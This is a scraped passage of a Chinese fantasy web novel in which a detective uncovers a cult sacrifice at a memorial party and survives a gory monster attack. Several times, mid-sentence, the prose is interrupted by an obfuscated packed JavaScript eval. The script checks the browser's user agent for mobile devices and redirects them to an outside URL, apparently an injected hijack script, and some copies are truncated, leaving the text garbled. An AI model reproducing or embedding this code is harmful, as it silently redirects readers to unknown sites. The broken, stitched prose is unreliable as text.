他早就看出来,今天所有来的宾客里,真正在意赫尔曼的,怕是十个指头能数清。 人人都为社交而来,比起索然无味的对话,谁不想看热闹呢? 那他索性不如亲自为众人献上热闹。 果然,人群发出一片认同的声音,夹杂着几声“可怜的苏利文先生”的感慨。 他走到画像前,鞠了个躬,低声念诵: “他已和自然合为一体:在所有的 音乐、声调、言语、叹息、哭声、欢笑中, 在他深心所寄的广大的宇宙里, 他已通过飞越时空的火焰而生存; 这火焰从浊世的阴影中腾起, 恰如从焚尸的柴堆里跃出火星…… 去吧!前往亡月的神国, 那里埋葬的不止是洛萨兰的光荣。” 这是雪莱为哀悼英年早逝的济慈而作,原作叫《阿多尼斯》,他替换掉里面的万神殿和意大利,临时拿来凑数。 艺术的共通的,人群顿时鸦雀无声。 季泠州默哀了一秒,看来穿越者终究逃不过“文抄公”的宿命。 诺兰先生目露欣赏,带头鼓起掌来:“不错的意象。死亡与火焰,灰烬与升华,抓住了精髓。” 他将目光转向麦克斯韦:“我相信能写出这样句子的年轻人,绝不是你口中的伪君子。” “可是,他说那首诗是从别处看来的。”麦克斯韦脸涨得通红,强行辩解。 他刚才找管家打听过,这个所谓的季先生不过是一个侦探,住在贝克街那样的地方。 若不是贝内特小姐从家里跑出来,恰巧搬到他隔壁,二者根本不可能认识。 没想到这个粗鄙的侦探,竟然颇有文采。 他自己这是搬起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17213513|196972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 石头砸自己的脚,就连聊得投缘的那位淑女,此刻也用不屑的眼神看自己。 诺兰教授连眼神都未曾动一下,用陈述的语气说:“你是在质疑一个【文学家】的职业素养吗?” 他相信,这世界上的优秀文学作品,没有自己没读过的。毕竟,【文学家】的超凡技能威力建立在阅读量上。 “不不不,我不是那个意思。”麦克斯韦惶然地后退了几步。 诺兰教授:“很好,希望你尽快离开,我不想在这高雅的地方看到玷污艺术的存在。” 麦克斯韦悲呼一声,冲了出去。 人群再次恢复热闹,只不过这次,很多人朝着季泠州的方向走来,想要和他结交。 季泠州心里有些奇怪,这些人的反应太夸张了。 看看他们那激动的表情、通红的眼睛,疯狂挥舞的胳膊,似乎无法压抑自己的情绪。 单凭几句诗,不至于。 没等他多想,艾希莉紧张的声音在背后响起:“怎么办?大家都看过来了,我们怎么离开?” 季泠州:“很明显,会场被刻意封锁了,我们别无选择。” 艾希莉会意点头。 “分头行动,到处看看有没有不对劲的人和事儿。半个小时以后,老地方碰面。”他快速吩咐了一句,朝着人群迎去。 在地球,季泠州罹患社交恐惧症,每次和人打交道就和上吊一样痛苦。 如今,他却游刃有余,自在地游走在人群中。他无法解释这种变化,只能归咎为原身留下的财富。 原身肯定是个社交恐怖分子,否则自己不可能如此进步迅猛。 聊了没几句,他就结识了五个朋友,旁敲侧击打听出他们和赫尔曼的关系。 另外,那位看着不好相处的诺兰教授,也对他赞誉有加,邀请他来洛萨兰国立大学代课,教学生写诗。 有戏! 诺兰教授口中还在低低念诵:“这火焰从浊世的阴影中腾起,恰如从焚尸的柴堆里跃出火星,写得太好了。” 季泠州对诗的欣赏水平一般,若不是大学老师布置了背诵作业,他大概这辈子也不会去读雪莱的诗句。 他脸上露出个迟疑的表情:“教授,有些话我想单独同你说。” 诺兰停住念诵,点点头,跟着他来到露台上。 “我可能无法从事高尚的教育工作了。”他声音低沉。 “为什么?”教授眼神锐利。 “我应侦探协会的夜莺女士邀请,发誓要终身用于打击犯罪,保护民众。” 诺兰微微一笑:“孩子,果然只有高尚的人才能做出优美的诗句。你一定是刚觉醒超凡,才会有这样的困惑。” “哦?” 诺兰教授望着远处的街区:“你看,到处都是人。” “这正是我们这种人存在目的。” “不!罪恶与异常如同野草,烧不尽,吹又生。个体的努力,在死亡面前毫无意义。” 季泠州沉默不语。 诺兰教授头上和其他人一样,有着【将死者】的标签。 显然,死亡对所有人一视同仁。无论是“高贵的”超凡者,还是“卑微的”凡人。 教授继续侃侃而谈。 “专注于提升自我的位阶,让生命足够漫长去触摸艺术的永恒,才是正途。至于清扫尘埃……闲暇时作为调剂,无伤大雅。” “但你一定要明白人生的重点。毫无疑问,苏利文先生迷失了自己的方向,他曾是最优秀的小提琴手,但却沉迷于异对司的任务。所以,如今我们共同参加他的纪念会。” 他提起自己曾经的得意门生,语气淡漠。季泠州怀疑,诺兰教授甚至可能记不清苏利文先生的名字是赫尔曼。 20.欢愉之夜 季泠州不是什么舍己为人的好人,也不关心这个世界居民的死活,但他依旧无法认可诺兰教授的观点。 一个看似高尚的精致利己主义者,他在心底评价。 好在先前的一切都是为了铺垫,现在到了关键时刻。 “诺兰教授,能和我聊聊苏利文先生吗?” 季泠州贴心地换上了更为疏离的称呼,而不像之前那样,以朋友的身份唤他为赫尔曼。 诺兰教授投来个赞许的目光,缓缓开口: “苏利文先生是个聪明的年轻人,冷静而理智。 “刚入学第一年,就觉醒超凡,他的职业是【鉴定师】,小众而珍贵的职业。 “他本可以坐在办公室里,度过受人尊敬的一生。” 季泠州微微颔首,目光却如细针般扫过诺兰教授。 诺兰教授看着三十出头的样子,但眼睛却露出和年纪不匹配的深邃。 那身正装的剪裁和用料过于考究,不像学者,更像政客。 举手投足间,透露出上位者的从容。 “你在听吗?”诺兰教授忽然皱眉。 “您刚讲到,半个月前苏利文先生找您要了一封进入涅伽拉德档案馆查阅信息的信。”季泠州声音平静地叙述出他话语的细节。 “很好,显然你和那些不尊重知识的纨绔子弟不同。”他目露赞许。 半小时后,诺兰教授端着酒杯,满意地离开了。 季泠州则将两封信揣进怀里。 一封和苏利文一样,另一封则是涅伽拉德大学的入职介绍信。 他已经接下了代课的活儿。 既然没机会得到大学文凭,索性不如换做教授头衔,二者都能更好地帮自己融入这个世界。 再次扫视人群,确定人们头顶的【将死者】标签还在,他朝着约定的地方走去。 艾希莉在窄门前不安地踱步。 “季,我发现了些不好的事情。”她十指交叉,语气不安。 季泠州:“带我去。” “我不确定你能接受那些,我一直以为只是个谣传,没想到是真的。” “没事。” 艾希莉提起裙摆,踏上一旁的楼梯。 赫尔曼的那位富裕学长包下了整个会馆,包括一楼的宴会厅和楼上的休息室。 此刻,纪念会刚开始,疲惫到需要休息的宾客并不多。 二楼走廊空无一人,只有楼梯口站岗的侍应生用好奇地目光看着两人。 艾希莉冲他们招手:“请帮我们取一些提神药膏来,要没有薄荷的。我对薄荷过敏。再送些布丁上来,记得撒新鲜熬制的草莓糖浆,要去籽。” 她机智地编造了两个困难的任务。 侍应生听到这难缠的要求,皱着眉头下去准备了。 她看着两人走远,低声解释:“他们可以在厨房坐下休息一会,相信能比守门舒服,尤其是这道门。” 她带着季泠州走到走廊尽头的一扇门前。 充满欢愉的痛苦喘息声从门缝传出。 季泠州面色凝重地听了一会,脸色忽然变得古怪:“这……” 他想说些什么,又觉得无从开口。 他觉得自己已经猜到了里面发生的事。 艾希莉急得拽了拽他的袖子,压低声音:“别乱猜!里面……不是那种事。” 季泠州挑眉:“那是哪种?总不会在开茶话会。” “进去看看就知道了。”她伸手就要推门。 季泠州拦住她:“等一下,我有办法。” 他转身进入旁边的更衣室,片刻后捧着件轻盈如月光的银色斗篷出来。 【山寨隐身斗篷(存在时间5分钟):那个传说中的男人,终于想起来自己曾见证过一整个世界的文化,他决定在新的世界使用家乡的特产。】 他示意艾希莉凑过来。 艾希莉不解。 季泠州披上斗篷,瞬间消失在走廊里。 艾希莉双眼发光:“一件异常物。”这是她人生第一次近距离接触异常物,而且功能如此神奇。 “算是吧,快进来。”她正前方的空气里,传来季泠州闷闷的声音。 她迫不及待的体验了斗篷。 “嘶!”她左边的磨牙传来钻心的疼,眼泪水一下子就出来了。 “这就是异常物的代价吗?也太恶劣了。”她跌跌撞撞地从斗篷下钻出来,一只手还捂着脸。 “是的,别浪费时间了,快进来。”季泠州也很无奈,异常物皆有代价,他构筑的代价是随机的,大部分是消耗体力。 但今天很不巧。 “唉——”艾希莉长叹了一口气,任命地钻回斗篷下。 房间里。 浓郁的熏香也盖不住空气中的血腥味儿,地面上,用鲜血绘成大幅的藤蔓纹路,怪异的符号夹杂其间。 墙上挂着带刺的鞭子,长针、蜡烛、拇指夹散了一地。 七八个年轻男女身上皮开肉绽,身上披着华丽的透明轻纱在地上转圈。 门突然被推开,他们吓了一跳,连忙中断了仪式。 带头的黑发女人神色警惕,迅速披上外衣,探头出去巡视,只见走廊里空无一人。 她松了口气,再次关上大门。 “大概是风把门吹开了。”她解释道。 人群中,一个疼得龇牙咧的男人语气不满:“我们不能把门锁上吗?又要重新完成仪式,我要受不了了。” 黑发女人摇头:“不行,伟大的丰饶之主会随时派教友加入我们。锁上门,是对神的不敬。” 房间角落,季泠州扶额,自己和黑暗丰穰的信徒还怪有缘的。 艾希莉好奇地打量着房间内的场景,凑到季泠州耳边低语:“你确定是他们带来了死亡?” 季泠州摇摇头,他进入房间的第一时间就观察过,这些人头顶的标签里同样有【将死者】。 黑暗丰穰的权柄包括丰收、生命、欢愉和苦痛。 很明显,这些教徒正试图通过痛苦的纵欲取悦自己的神祇。 “噼,噼,啪,啪——”教徒们再次提起鞭子,重新开始仪式。 从他们痛苦的表情看,季泠州推测这些人八成是刚皈依的信徒,尚且无法感同身受地理解教义。 空气中的铁锈味再次浓郁起来,隐约有盖住熏香的趋势。 排除危险后,季泠州当机立断再次推开房门,带着艾希莉离开。 随着持续使用【山寨隐身斗篷】,牙疼得就像所有牙同时在接受根管治疗。再待下去,他怕自己会痛苦地哼出声。 他贴心地为房间里的信徒关上门,希望自己的打扰不会让他们遭受太多额外的痛苦。 以极快的速度脱下隐身斗篷,无论是季泠州还是艾希莉都舒了口气。 牙疼不是病,疼起来要人命。 一个意想不到的人站在走廊里,用诧异的目光盯着季泠州。 夜莺:“季,原来你信仰黑暗丰穰?”她朝艾希莉微微示意,“还带了女伴?” “夜莺大人,你听我狡辩。” 牙疼尚未消散,季泠州说话结结巴巴,“不,你听我解释。” 夜莺声音轻快: “没事,协会不干涉成员的信仰。 “但作为过来人,我劝你慎重考虑信仰黑暗丰穰,这位神祇的状态很不稳定。” 他要汗流浃背了。 艾希莉则双眼闪闪发光:“您就是被誉为苍穹之翼的洛萨兰玫瑰,半神之下最强的超凡者夜莺吗?” 季泠州没想到,夜莺竟有如此华丽的称号。 奇怪的是,夜莺听了似乎有些不好意思,她晃了晃脖子,耳朵尖都红了。 “大人,您来做什么?”他问。 “赫尔曼是我在异对司的下属,所以就来喽。”夜莺微微一笑,“当然,现在你是我最引以为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“看来这结界格外牢固,我不擅长破除封印。季,你去找到幕后主使,我来杀掉他。” 季泠州一把拉住夜莺的手腕,拽着她往人少的地方走去。 人群看到这大胆的动作,一片哗然。 艾希莉吓得脸都白了,紧跟在后面:“季,你太无礼了,快放手。夜莺大人的怒火会把你烧成灰烬的。” 见季泠州无动于衷,她又向夜莺恳求:“大人,他喝多了酒,神志不清,请您原谅他的不敬。” 鹳羽花墙后,季泠州冷声质问:“你是谁?为什么要假扮夜莺?” 话语刚落“夜莺”肩膀一塌,满脸苦涩,声音忽然从慵懒女中音变成清亮的男声: “完蛋,这么快就露馅了?我是梅特伦。夜莺大人有事,就让我替她来了。” 随着这句话说出口,季泠州的“鉴定”视野里,夜莺头上的标签一下子刷新了。 高级的词汇瞬间消失不见,取而代之的是: 【女装爱好者(存疑)】、【侦探协会文书】、【二阶妖术师】、【美食家】。 说话间,他伸手朝耳朵上的翡翠耳坠伸去。 【夜莺的变幻耳坠:获得原主人许可后,你能以她的形象出现。注意:你若是胆敢破坏她的形象,就洗干净脖子等死吧。】 季泠州按住他的手,“现在我们还需要这个身份。” “我就是一个二阶的妖术师。”梅特伦苦笑, “我都能想象出那些人对我出手后,脸上出现的惊喜表情。 “还有点时间咱们去吃点东西。 “生命最后一餐,我看菜单上提示有龙虾、烤羔羊排和上好的奥伦特葡萄酒,一瓶顶得上我半个月的薪水。” 艾希莉捂住脸。 这就是传说中的“被打倒后,顺势躺平睡一觉”吗? 季泠州对梅特伦的适应力表示惊讶。 他双手按在梅特伦的肩膀上,用力摇晃: “听着,你现在顶着夜莺的脸!就算要死,也得死得像‘苍穹之翼’而不是饿死鬼!” 说完甩开他,揉了揉发疼的太阳穴,“我想到了一个计划,但需要你配合。” 21.狂乱之喉 舞池里,人群狂热地扭动身体,用力碰撞。 掉落的首饰散在地上,但无人在意,它们时不时被人群踩到、踢开、碎裂。 季泠州拉开衬衫领口,用捡来的一把折扇给艾希莉和自己扇风。似乎有把火在心底熊熊燃烧,烤得人浑身发烫,无法思考。 梅特伦顶着夜莺的脸,身体绷得笔直,指尖却在不自觉地微微颤抖。 他深吸一口气,试图压住胸腔里火烧火燎的灼热感,让声音听起来尽可能平稳: “季,我想我的血要沸腾了,这里一定布置了献祭仪轨。” 梅特伦声音绝望,“人体内的灵性和生机大多数时候是平静的。献祭前,要通过仪式让它们活跃起来。书里说叫什么来着?狂热气氛。” “就像喝汤前,要加热。”他补充了一句。 季泠州对此表示认同,作为一个穿越到邪神祭台上的倒霉蛋,人生伊始便是一场献祭。 “能毁掉吗?” “不行。仪轨一旦启动,就会升入里世界。只有半神才能破开空间,我们位阶不够。”梅特伦作为文书,熟谙神秘学知识。 季泠州快速梭巡周围。 此时没人顾得上注意他们三个。 他直接抽出【高光】,在自己和艾希莉、梅特伦的手臂上各自割开一道口子。 随着鲜血流淌,理智重新回归。 他时常觉得,自己像个戴鸟头面具的蹩脚中世纪医生,只掌握了一种技能,放血、放血、还是放血。 “记住计划了吗?”他盯着梅特伦,年轻的文书正在扯自己的裙子。 “献祭仪式一旦启动,里面的人都要死。暗中策划的人肯定在外面盯着,我会当着他们的面,施展发光术,然后消失。” “不对!” “我会站在会馆门口,所有人都能看到的地方。以苍穹之翼的身份,将‘力量’赐予你,然后‘破开空间’,假装成去追他们的样子。”梅特伦改变了用词。 季泠州盯紧他:“说清楚,‘破开空间’后,你要注意什么?” 作为计划的主持者,他必须把每一步都刻进梅特伦的心灵深处,尤其是在这种理智不足的情况下。 否则,一旦出现纰漏,会害死所有人。 “注意隐身斗篷存在时间,而且使用它的代价是剧烈牙疼,我要忍住决不能露出破绽。” 季泠州点头:“很好。” 随后将目光转向艾希莉,“你呢?” 艾希莉的脸紧绷着,手里用力捏着一把骰子,回答道: “找个安全的地方躲起来。遇到任何威胁我的人,就盯着他扔骰子。” “怎么扔?” “一直扔,直到出现足够低的点数,扔完就跑。” 季泠州很遗憾,自己无法交给艾希莉足够有用的保命物品,因为他自己也没有。 愿命运眷顾她! 他说:“很好。我们准备行动吧。” 艾希莉忽然握住他的手:“侦探先生,请您务必当心。” 季泠州扯了扯嘴角,露出一个轻松的笑:“放心。我当年可是能从邪神手底下逃生。” 艾希莉忍不住笑了,凡人哪能对抗神祇?这时候侦探先生还有心情开玩笑,看来他真的很有把握。 她紧张的心放松下来,提起裙子,小跑着离开。 …… 半个街区外,一座高耸的塔楼上,三道身影正在眺望会馆。 “仪式开始了吗?”黑色斗篷下,一个嘶哑的声音问道。 “仪式?哦不,我贪婪的朋友,那是主的艺术。”金发的诗人抱着竖琴,一边拨动琴弦,一边用吟唱般的语调回答。 他有双忧郁的眼睛,头发拢成一束垂在脑后,看起来落拓潦倒,动作间又透着不羁散漫。 穿黑斗篷的人哼了一声,将头转向身旁的佝偻老者,恭敬地弯下腰:“冕下,那位……” 老者双眼紧闭,胸腔毫无起伏,直挺挺地站在矮墙边。 许久后,他的身体里传出一道机械的声音:“这具身体腐败前肯定能凝聚成功,记住我们的交易。” 黑斗篷激动得浑身颤抖:“那些海文区的泥腿子,我会亲手奉上,一个不落。” 他来之前,就用药剂开启了灵视。此刻能看到,大团的黑色粘液正自虚空滴落,将那座被选定的会馆包裹。 就在这时,苍青色的光刺破天际,挺拔的身影出现在会馆门口。 她抬起手,背后登时浮出无数线条,径直贯入天际。 “苍穹之翼?她怎么会在这里?”金发诗人怪叫一声。 黑斗篷胸有成竹:“肯定是假的,我得到准确消息。加兹鲁维受了重伤,夜莺正帮他治疗。” “滑稽的小丑!” 金发诗人嗤笑一声,将竖琴抱回怀里,继续弹奏。 只是入水的音调忽然变得高亢,仿佛在宣泄心中的不安。 “是夜莺。”佝偻老者突然开口。 “什么?”诗人脸上的慵懒瞬间冻结。 琴弦断裂,割破了诗人的手指,伤口没有流血,反而是渗出腥臭的脓液,滴在地上,发出“嗤嗤”的声音。 会馆上空,滴落的粘液滞在半空。 佝偻老者睁开眼睛,浑浊的眼珠转动,死死盯着那道身影: “唯有神,才能以身躯联通真实。你们看那些灵性纬线,夜莺已经跨出了那步。” 黑斗篷倒吸一口冷气:“我们快逃吧。” 佝偻老者轻蔑地瞥了他一眼:“果然,怯懦是种会随血脉流传的疾病。你祖父如此,你亦如此。我真很庆幸,西奥多拉无需嫁给你的废物儿子。” 金发诗人:“不行。仪式一旦失去主持者,会立即中断。主降临到一半,会卡在真实和虚幻的边界。” 黑斗篷语重心长:“有夜莺在,我们没有机会完成仪式。不如留待有用之身,准备下次。” 金发诗人没有说话,只是用力的拨弄琴弦。 “我来修改仪式,迎一尊狂乱之喉的投影降临。”老者拍案定论。 “既然夜莺那么喜欢保护凡人,不妨让她亲眼看看,那些人死得有多痛苦。” 说着,老者缓慢地抬起一只脚,重重跺下,半边身躯化作脓血,尸液洒落在地,勾勒出一条衔尾巨虫。 下一秒,巨虫的虚影自地面升起,将两个半人吞入腹中。 虫腹中,金发诗人直勾勾地盯着老者半边身躯上整齐的断面,弹琴的手不由得停住。 上面是半幅灰黑色的絮状大脑,下面依此是断裂的齿列、爬满蛆虫的腐败腹腔…… 他咽了口唾沫,收起竖琴。 巨虫像是活了过来,它舒展身体。颠簸中,老者身上掉下几条肥硕蛆虫,径直落进黑斗篷的衣领里。 黑斗篷嘴里挤出一声意义不明的呜咽。 老者提醒:“安静。” 他现在的声音尖锐而刺耳,因为失去了半边声带,正用指甲摩擦脊骨发出声音。 黑斗篷想,这个地方现在有两个音乐家了。 …… 将视角拉到会馆宴会厅,这里恍若地狱。 暗红的血浸透地毯,顺着台阶淌进花园里,遍地都是人体碎块。 季泠州的左手拄着剑鞘支撑身体,右手握紧剑柄用力下劈,一个不规则的圆球状物体飞出,重重砸在鹳羽花墙上,流下一道黑色痕迹。 扑咬他的无头身躯轰然倒下。 这是最后一只了,他大口地喘着气,在心里默数。 身后,是七零八落的残肢断骸,和同样躺了一地的活人。 大部分宾客被仪式污染了。 他们的灵魂消失不见,留下的躯壳被某种东西寄生,力大无比,无知无痛。 季泠州必须把他们切成碎块,才能完全消除它们的行动力。 他大口喘着气,只觉得浑身上下每一丝肌肉都在尖叫,诉说自己累坏了。 季泠州也不知道,为什么说好的演戏拖延时间,莫名其妙就变成了“全武行”。 就在半小时前,他站在门厅里,等梅特伦以夜莺的身份出现。忽然,大厅发生骤变。 狂舞的宾客热极了一般,纷纷用指甲撕扯皮肉,将身体碎片丢得到处都是,仿佛感受不到疼痛。 好在梅特伦没有被这惨烈的一幕吓到,冷静地完成了计划,随后迅速撤离。 留下季泠州随机应变。 他只好抽出【高光】,开始处理明显不对劲的宾客。 此刻,一切终于结束了。 季泠州望着幸存者, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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梅特伦迅速换了话题:“一会请你吃夜宵,我真是饿坏了。我知道海文区边缘有一家烤肉店,味道不错,价格也很实惠。 “我认识老板,他能送咱们一壶麦酒,还给免费……” 梅特伦的声音戛然而止,缓缓低下头。 一条节肢自年轻文书心口的地方刺出。 “……加冰块。”说完最后几个字,梅特伦脸朝下扑倒,露出脊背上趴着的虫子。 那虫有手腕粗细,通体长着灰色绒刺,躯干上长着乱七八糟的节肢和翼,就像小孩捏的玩具。 虫子仰起身,没有眼睛只有口器的脑袋对准季泠州。 梅特伦的尸体砸在吸饱鲜血的地毯上,溅起星星点点的血滴,落到季泠州脸上。 季泠州的大脑瞬间一片空白,艾希莉惊慌的尖叫像是从极远处传来,听不真切。 冰冷的怒气自心间升腾,几乎要烧毁他的理智。 大厅里,尸骸里钻出一条条虫子。它们彼此吞噬,飞速长大。 这些新生的虫子没有腿,像蛆虫一样在地上蠕动,张开满是尖锐牙齿的口器朝昏迷的宾客扑去。 根本来不及救援,随着一阵“沙沙沙”的啃咬声,剩余的活人消失在虫子的深渊巨口里。 “美强惨”的体力加持消失了,虚弱如潮水一般涌上季泠州的身体。 而仪式没有结束,还在继续! 意识到这点后,季泠州心头一片冰冷。 忽然,恶风袭来,他回过神来,用力一把推开艾希莉。 作为代价,一张大嘴咬在了他的右手臂上,撕咬下一大块血肉。 他低头看了眼自己惨不忍睹的右臂,鲜血汩汩流淌,伤口极深,能看到裸露的臂骨。 疼痛尚未通过神经传达大脑,亦或是被过度分泌的肾上腺素暂时屏蔽了。 季泠州甚至有功夫想:原来,活人骨头的颜色不是乳白,而是粉红偏白。 下一秒,剧痛如海啸般传来,他额角瞬间布满细密的冷汗。 “咣啷”一声,【高光】跌在地上。 肌肉、筋腱的缺失,让季泠州再也握不住剑柄。 更多的虫子,合围而来。 22.虫子必须死 半空中,虚幻的无目巨虫悬浮于天际。 祂长大口器,露出内里密密麻麻的细齿,餍足地发出无声的鸣叫。 然后,狂乱之喉深深吸了口气。 血红的地毯上,无数半透明的残缺灵魂被气流卷入半空,没入那张巨口。 如倦鸟归巢般,又格外残酷。 就在几个小时前,他们还是活生生的人。如今就像被蛀空的树干,漂浮在半空中,茫然无依。 “鉴定”的力量提升了,他能看到更多。 也许,“修改器”也是一样的。 他弯腰按在浸透鲜血的地毯上,指尖陷入湿润的羊毛纤维。 他闭上眼,再睁开时,平日里懒洋洋的眼眸里,只剩下近乎冷酷的专注。 意识海的大星被点燃,耳边响起虚幻的嘶鸣,视野边缘开始发黑,大滴的汗水砸在地上。 力量奔涌着争先恐后离开他的身体进入世界,仿佛投下了某种催化剂。 下一刹,亡者的灵魂落下,融入吸满他们生前血液的羊毛地毯,肉眼看不见的线条贯入虚空,刺穿半空中的大嘴。 羊毛地毯顷刻间光洁如新,吞噬尽亡者的血、肉、骨与魂灵,如今正渴求着更多食粮。 无数的手自地毯里伸出。 有的手戴着宝石戒指,有的手握高脚杯,还有的两两交叉紧握,像是害怕极了…… 唯一的共同点是,它们的指甲皲裂,指缝里卡着血肉。 一件全新的异常物出现了,或许应该称呼它为神物。 【虫子必须死:请凑近些,聆听生灵死前绝望的哀嚎!它自诞生之初,就渴望吞噬和神祇有关的一切。——每节线头都这么说】 残缺的复仇之手朝着虫子抓去,它们将虫子撕成碎片,塞进羊毛线的缝隙里,地毯上的花纹蠕动着,大口吞噬食物。 离虫子较远的那几只手抓不到食物,无聊地拉起小提琴。 轻松的乐曲响彻大厅。 季泠州背靠钢琴残骸半躺在地上,失血让视野有些模糊,但眼前的场景依然让他心情愉悦。 他扯了扯嘴角,完好的左手无意识地在琴盖上轻敲两下,像在为这场血腥交响打拍子。 艾希莉蹲下身,手指按住他颈侧检查脉搏,声音冷静:“侦探先生,你在失血,而且速度很快。” 大量的失血让他意识昏沉,这才想起来自己还是个重伤号。 “上衣口袋里,有一个巴掌大的罐子,里面有药。”多亏了彼方,坚持将【万用药膏】分了一份出来。 艾希莉伸手掏出药膏,飞速旋开盖子,用手指挖了一块涂抹在伤口上。 伤口太大了,鲜血很快将药膏冲走。 艾希莉眉头紧锁,她曾在大学选修过急救常识——人若身上有如此大的创口,定然坚持不了多久 她眉头紧锁,侧头看去,季泠州眼睛半阖,气息微弱得像要散了,浓密睫毛在惨白脸上投下阴影,让他看起来莫名有种安详的感觉。 他的气色和旁边的死人差不多。 艾希莉忽然注意到周围不知从什么时候起,安静了下来。 无数只手如海草般摇摆,朝着两人的方向探来,像是某种没有眼睛的盲蛇。 大厅里所有的虫子都被吃光了。也许,这些诡异的手,想再吃点活人当饭后甜点。 艾希莉扫了一眼逐渐逼近的手,又看向意识模糊的季泠州。 她忽然站起身,头也不回地冲向门厅。 十几秒后,当她的背影消失。 季泠州掀开眼皮,望着那道奔向门厅的背影。 很好,总算有人能活下来。 他感觉不到多少情绪,只是忽然想起彼方,它已经能用玻璃珠拼出单词了。 或许,自己应该给它买个儿童学字用的沙盘。 算了,大抵是没机会了。能感觉到,【虫子必须死】探出的手抓住了他的脚腕。 这件异常物渴望向神祇复仇,而制造它的自己,严格意义上也算是神祇的一部分。 他一直都知道,尽管自己拆掉了黑暗丰穰的投影,但祂消亡前灌注给自己的能量一直都在。 正是这些能量,让他能每天使用两次“修改器”。 更多的手抓住了他。 尖锐的指甲穿透外衣,刺入血肉。 奇怪的是,并没有多少疼痛,只是让人感到昏昏欲睡。 昏沉中,有人用某种很紧的绳子勒住了他的手臂,接着伤口传来火辣辣的刺痛,是【万用药膏】。 季泠州猛地睁开眼睛,从垂死的状态中苏醒过来。 艾希莉咬紧牙关,双手穿过他腋下死死扣住,全身肌肉绷紧,一点点将他从那些手的缠绕中向后拖拽。 他比她想象的重,也比他看起来的脆弱模样要坚实。 季泠州的血沾到艾希莉身上,惹得几只手在她身上跟着抓挠。 几天前还完全不认识的人,能为自己做到这一步,太难得了。 季泠州心中感动,但身体动弹不得,只好开口劝说: “艾希莉,我有件事要拜托你。我卧室床头第二块地砖下面放着一袋钱,你帮我买些书放家里,替我看好房子。” 艾希莉未作回应,四周更多的手已如潮水般向两人抓来。 “再不走,就来不及了。别忘了赫尔曼还在等你救他。”虽然很不想和狗血肥皂剧一样拉扯,但他还是祭出了最后杀招。 “你们都觉得他死了,我早就知道。” 艾希莉声音听不出波澜,只有扣在他臂上的手指收紧了些,“你救了我,我就不能抛下你。” 没办法了! 和未婚妻一起死掉,如鱼密欧与猪丽叶一般,浪漫而悲伤。 和别人的未婚妻一起死掉,就有些奇怪了。 季泠州突然想到一件事,自己似乎还没有从艾希莉身上收获源于“美强惨”的力量反馈。 他叹了口气,声音因失血而低哑: “艾希莉,咱们就要死了。说句实话,我刚才用剑的样子是不是很厉害?我自小就练习剑术。” 艾希莉没理他,全心全力和【虫子必须死】角力。 找到问题的根源了。 他继续道:“那如果我说,这些要命的东西。其实是我弄出来的呢?” 艾希莉动作一僵,猛然扭头看他。 亲手制造杀死自己的异常物!你…… 一股全新的力量出现在季泠州的身体里,“美强惨”生效了。 他用这力量召出了塔坎瑟斯马。 燃烧着幽绿色火焰的骏马凭空出现,他一只手揽住马脖子,另一只手伸向艾希莉。 “上来!” 塔坎瑟斯马踏空而起,幽绿火焰照亮季泠州染血的侧脸和飞扬的黑发。 下方是地狱般的血手,上方则是冰冷的月光。 风拂过两人的耳际,季泠州回头望向艾希莉:“我的马很漂亮吧!它是超凡生物。” 艾希莉盯着季泠州。 火光映在他脸上,明明狼狈不堪,那双专注的黑眸却亮得惊人,像淬了火的寒星,有一种近乎非人的、凌厉的美。 艾希莉用力摇头,随便找了个问题:“所以,你其实早有脱困的方法? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17225928|196972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 季泠州:“不。多亏你帮我拖延时间,否则我积攒不够力量召唤它。” 艾希莉点点头:“侦探先生,你没学过骑马吗?” 季泠州顿觉窘迫,他方才全靠本能夹住马腹,惹得塔坎瑟斯马不断回头冲他翻白眼,跑得歪歪扭扭。 缰绳被艾希莉自然接过。 塔坎瑟斯马打了个响鼻,忽然步伐变得流畅稳定,轻巧避开下方探来的手。 艾希莉目视前方,声音随风飘来:“你不会骑马。” 季泠州咳了一声:“……理论上会。” “理论?” “我骑过旋转木马,好几次。”他找准机会,从地上捞起了梅特伦的尸体。 塔坎瑟斯马大口喘着粗气,马嘴里吐出一串火星子,驮着两人一尸大步冲出门厅。 它踩着幽绿的火焰,朝半空中跑去,悬停在一个安全的高度。 会馆二楼的窗户。 黑暗丰穰的年轻信徒看到二人一马,用力地敲击着窗户。 他们的嘴不断开合,看口型,似乎在说:“求求你们,救救我。” “看来信仰邪神,还是有点用的。”季泠州一针见血。 艾希莉调转马头,不再看那些信徒。 月光寒凉。 远处街角,三辆冒着黑烟的汽车停在路边,车门打开下来成队穿黑风衣的人。 他们手上拿着长杆一样的工具,开始刺戳会馆外面和肥皂泡一样的结界。 